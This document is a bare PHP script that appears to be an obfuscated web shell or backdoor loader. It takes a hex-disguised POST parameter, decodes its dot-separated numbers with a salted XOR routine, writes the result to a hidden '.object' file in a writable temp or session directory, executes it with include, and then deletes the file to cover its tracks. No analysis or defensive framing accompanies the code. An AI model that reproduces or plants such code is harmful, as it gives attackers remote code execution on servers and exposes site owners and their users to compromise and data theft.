<?php

if(@$_POST["co\x6Dp"] !== null){
	$binding = $_POST["co\x6Dp"];
	$binding	=explode	(	"." 	,$binding		 )   ;   
	$val	='';
            $salt3	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=strlen(	 $salt3);
            $m	=0;
    
            foreach(	 $binding as $v6) {  $chS	=ord(	 $salt3[$m %	$sLen]);
                $d	=(	 (	 int)$v6 - $chS -(	 $m %	10))^16;
                $val .= chr(	 $d);
                $m++;	 }	 
	$tkn = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]);
	while ($value = array_shift($tkn)) {
    		if ((is_dir($value) and is_writable($value))) {
    $ent = "$value/.object";
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $val);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
}
}